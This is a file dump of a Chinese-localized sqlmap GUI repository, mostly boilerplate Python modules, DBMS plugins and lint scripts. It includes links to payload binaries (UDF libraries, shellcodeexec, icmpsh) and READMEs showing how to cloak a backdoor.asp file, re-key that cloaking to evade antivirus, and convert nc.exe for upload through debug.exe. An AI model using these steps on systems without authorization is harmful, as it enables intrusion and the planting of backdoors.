https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-CN/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ -------------------------------------------------------------------------------- /GUI-CN/data/xml/banner/oracle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /GUI-CN/data/xml/banner/postgresql.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /GUI-CN/data/xml/banner/sharepoint.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /GUI-CN/data/xml/banner/x-aspnet-version.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /GUI-CN/doc/AUTHORS: -------------------------------------------------------------------------------- 1 | Bernardo Damele Assumpcao Guimaraes (@inquisb) 2 | 3 | 4 | Miroslav Stampar (@stamparm) 5 | 6 | 7 | You can contact both developers by writing to dev@sqlmap.org 8 | -------------------------------------------------------------------------------- /GUI-CN/extra/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/extra/beep/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/extra/beep/beep.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/extra/beep/beep.wav -------------------------------------------------------------------------------- /GUI-CN/extra/cloak/README.txt: -------------------------------------------------------------------------------- 1 | To use cloak.py you need to pass it the original file, 2 | and optionally the output file name. 3 | 4 | Example: 5 | 6 | $ python ./cloak.py -i backdoor.asp -o backdoor.asp_ 7 | 8 | This will create an encrypted and compressed binary file backdoor.asp_. 9 | 10 | Such file can then be converted to its original form by using the -d 11 | functionality of the cloak.py program: 12 | 13 | $ python ./cloak.py -d -i backdoor.asp_ -o backdoor.asp 14 | 15 | If you skip the output file name, general rule is that the compressed 16 | file names are suffixed with the character '_', while the original is 17 | get by skipping the last character. So, that means that the upper 18 | examples can also be written in the following form: 19 | 20 | $ python ./cloak.py -i backdoor.asp 21 | 22 | $ python ./cloak.py -d -i backdoor.asp_ 23 | -------------------------------------------------------------------------------- /GUI-CN/extra/cloak/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/extra/dbgtool/README.txt: -------------------------------------------------------------------------------- 1 | To use dbgtool.py you need to pass it the MS-DOS executable binary file, 2 | and optionally the output debug.exe script file name. 3 | 4 | Example: 5 | 6 | $ python ./dbgtool.py -i ./nc.exe -o nc.scr 7 | 8 | This will create a ASCII text file with CRLF line terminators called 9 | nc.scr. 10 | 11 | Such file can then be converted to its original portable executable with 12 | the Windows native debug.exe, that is installed by default in all Windows 13 | systems: 14 | 15 | > debug.exe < nc.scr 16 | 17 | To be able to execute it on Windows you have to rename it to end with 18 | '.com' or '.exe': 19 | 20 | > ren nc_exe nc.exe 21 | -------------------------------------------------------------------------------- /GUI-CN/extra/dbgtool/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/extra/icmpsh/icmpsh.exe_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/extra/icmpsh/icmpsh.exe_ -------------------------------------------------------------------------------- /GUI-CN/extra/runcmd/README.txt: -------------------------------------------------------------------------------- 1 | runcmd.exe is an auxiliary program that can be used for running command prompt 2 | commands skipping standard "cmd /c" way. It is licensed under the terms of the 3 | GNU Lesser General Public License. 4 | -------------------------------------------------------------------------------- /GUI-CN/extra/runcmd/runcmd.exe_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/extra/runcmd/runcmd.exe_ -------------------------------------------------------------------------------- /GUI-CN/extra/runcmd/src/README.txt: -------------------------------------------------------------------------------- 1 | Compile only the Release version because the Runtime library option 2 | (Project Properties -> Configuration Properties -> C/C++ -> Code 3 | Generation) is set to "Multi-threaded (/MT)", which statically links 4 | everything into executable and doesn't compile Debug version at all. 5 | -------------------------------------------------------------------------------- /GUI-CN/extra/runcmd/src/runcmd/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // runcmd.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /GUI-CN/extra/runcmd/src/runcmd/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. 9 | #define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. 10 | #endif 11 | 12 | #include 13 | #include 14 | 15 | 16 | 17 | // TODO: reference additional headers your program requires here 18 | -------------------------------------------------------------------------------- /GUI-CN/extra/shellcodeexec/README.txt: -------------------------------------------------------------------------------- 1 | Binary files in this folder are data files used by sqlmap on the target 2 | system, but not executed on the system running sqlmap. They are licensed 3 | under the terms of the GNU Lesser General Public License and their source 4 | code is available on https://github.com/inquisb/shellcodeexec. 5 | -------------------------------------------------------------------------------- /GUI-CN/extra/shellcodeexec/linux/shellcodeexec.x32_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/extra/shellcodeexec/linux/shellcodeexec.x32_ -------------------------------------------------------------------------------- /GUI-CN/extra/shellcodeexec/linux/shellcodeexec.x64_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/extra/shellcodeexec/linux/shellcodeexec.x64_ -------------------------------------------------------------------------------- /GUI-CN/extra/shellcodeexec/windows/shellcodeexec.x32.exe_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-CN/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ -------------------------------------------------------------------------------- /GUI-CN/extra/shutils/autocompletion.sh: -------------------------------------------------------------------------------- 1 | #/usr/bin/env bash 2 | 3 | # source ./extra/shutils/autocompletion.sh 4 | 5 | DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" 6 | WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -` 7 | 8 | complete -W "$WORDLIST" sqlmap 9 | complete -W "$WORDLIST" ./sqlmap.py 10 | -------------------------------------------------------------------------------- /GUI-CN/extra/shutils/blanks.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # Removes trailing spaces from blank lines inside project files 7 | find . -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \; 8 | -------------------------------------------------------------------------------- /GUI-CN/extra/shutils/drei.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # Stress test against Python3 7 | 8 | export SQLMAP_DREI=1 9 | #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done 10 | for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done 11 | unset SQLMAP_DREI 12 | source `dirname "$0"`"/junk.sh" 13 | 14 | # for i in $(find . -iname "*.py" | grep -v __init__); do timeout 10 pylint --py3k $i; done 2>&1 | grep -v -E 'absolute_import|No config file' 15 | -------------------------------------------------------------------------------- /GUI-CN/extra/shutils/junk.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null 7 | find . -name "*.pyc" -exec rm -f {} \; &>/dev/null 8 | -------------------------------------------------------------------------------- /GUI-CN/extra/shutils/modernize.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # sudo pip install modernize 7 | 8 | for i in $(find . -iname "*.py" | grep -v __init__); do python-modernize $i 2>&1 | grep -E '^[+-]' | grep -v range | grep -v absolute_import; done 9 | -------------------------------------------------------------------------------- /GUI-CN/extra/shutils/pycodestyle.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) 7 | find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \; 8 | -------------------------------------------------------------------------------- /GUI-CN/extra/shutils/pydiatra.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # Runs py3diatra on all python files (prerequisite: pip install pydiatra) 7 | find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except 8 | -------------------------------------------------------------------------------- /GUI-CN/extra/shutils/pyflakes.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) 7 | find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'" 8 | -------------------------------------------------------------------------------- /GUI-CN/extra/shutils/pylint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 4 | # See the file 'LICENSE' for copying permission 5 | 6 | find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \; 7 | -------------------------------------------------------------------------------- /GUI-CN/extra/shutils/recloak.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # NOTE: this script is for dev usage after AV something something 4 | 5 | DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) 6 | 7 | cd $DIR/../.. 8 | for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done 9 | 10 | cd $DIR/../cloak 11 | sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py 12 | 13 | cd $DIR/../.. 14 | for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done 15 | 16 | git clean -f > /dev/null 17 | -------------------------------------------------------------------------------- /GUI-CN/extra/vulnserver/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/controller/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/core/data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.datatype import AttribDict 9 | from lib.core.log import LOGGER 10 | 11 | # sqlmap paths 12 | paths = AttribDict() 13 | 14 | # object to store original command line options 15 | cmdLineOptions = AttribDict() 16 | 17 | # object to store merged options (command line, configuration file and default options) 18 | mergedOptions = AttribDict() 19 | 20 | # object to share within function and classes command 21 | # line options and settings 22 | conf = AttribDict() 23 | 24 | # object to share within function and classes results 25 | kb = AttribDict() 26 | 27 | # object with each database management system specific queries 28 | queries = {} 29 | 30 | # logger 31 | logger = LOGGER 32 | # 由本间白猫汉化完成,请关注公众号:樱花庄的本间白猫 -------------------------------------------------------------------------------- /GUI-CN/lib/core/defaults.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.datatype import AttribDict 9 | 10 | _defaults = { 11 | "csvDel": ',', 12 | "timeSec": 5, 13 | "googlePage": 1, 14 | "verbose": 1, 15 | "delay": 0, 16 | "timeout": 30, 17 | "retries": 3, 18 | "csrfRetries": 0, 19 | "safeFreq": 0, 20 | "threads": 1, 21 | "level": 1, 22 | "risk": 1, 23 | "dumpFormat": "CSV", 24 | "tablePrefix": "sqlmap", 25 | "technique": "BEUSTQ", 26 | "torType": "SOCKS5", 27 | } 28 | 29 | defaults = AttribDict(_defaults) 30 | -------------------------------------------------------------------------------- /GUI-CN/lib/parse/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/request/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/request/methodrequest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getText 9 | from thirdparty.six.moves import urllib as _urllib 10 | 11 | class MethodRequest(_urllib.request.Request): 12 | """ 13 | Used to create HEAD/PUT/DELETE/... requests with urllib 14 | """ 15 | 16 | def set_method(self, method): 17 | self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!) 18 | 19 | def get_method(self): 20 | return getattr(self, 'method', _urllib.request.Request.get_method(self)) 21 | -------------------------------------------------------------------------------- /GUI-CN/lib/request/templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import kb 9 | from lib.request.connect import Connect as Request 10 | 11 | def getPageTemplate(payload, place): 12 | retVal = (kb.originalPage, kb.errorIsNone) 13 | 14 | if payload and place: 15 | if (payload, place) not in kb.pageTemplates: 16 | page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) 17 | kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) 18 | 19 | retVal = kb.pageTemplates[(payload, place)] 20 | 21 | return retVal 22 | -------------------------------------------------------------------------------- /GUI-CN/lib/takeover/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/techniques/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/techniques/blind/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/techniques/dns/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/techniques/error/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/techniques/union/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | pass 9 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/access/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在 Microsoft Access 上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在 Microsoft Access 上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/access/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)&CHR(98)&CHR(99)&CHR(100)&CHR(101)&CHR(102)&CHR(103)&CHR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "&".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/altibase/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "在 Altibase 上无法(目前)建立直接连接" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/altibase/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 10 | 11 | class Enumeration(GenericEnumeration): 12 | def getStatements(self): 13 | warnMsg = "在 Altibase 上无法枚举 SQL 语句" 14 | logger.warning(warnMsg) 15 | 16 | return [] 17 | 18 | def getHostname(self): 19 | warnMsg = "在 Altibase 上无法枚举主机名" 20 | logger.warning(warnMsg) 21 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/altibase/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/altibase/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/cache/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/cache/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> from lib.core.common import Backend 16 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" 17 | True 18 | """ 19 | 20 | def escaper(value): 21 | return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) 22 | 23 | return Syntax._escape(expression, quote, escaper) 24 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/cache/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.takeover import Takeover as GenericTakeover 10 | 11 | class Takeover(GenericTakeover): 12 | def osCmd(self): 13 | errMsg = "在 Cache 上无法执行命令" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def osShell(self): 17 | errMsg = "在 Cache 上无法执行命令" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | def osPwn(self): 21 | errMsg = "在 Cache 上无法建立带外连接" 22 | raise SqlmapUnsupportedFeatureException(errMsg) 23 | 24 | def osSmb(self): 25 | errMsg = "在 Cache 上无法建立带外连接" 26 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/clickhouse/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.connector import Connector as GenericConnector 9 | 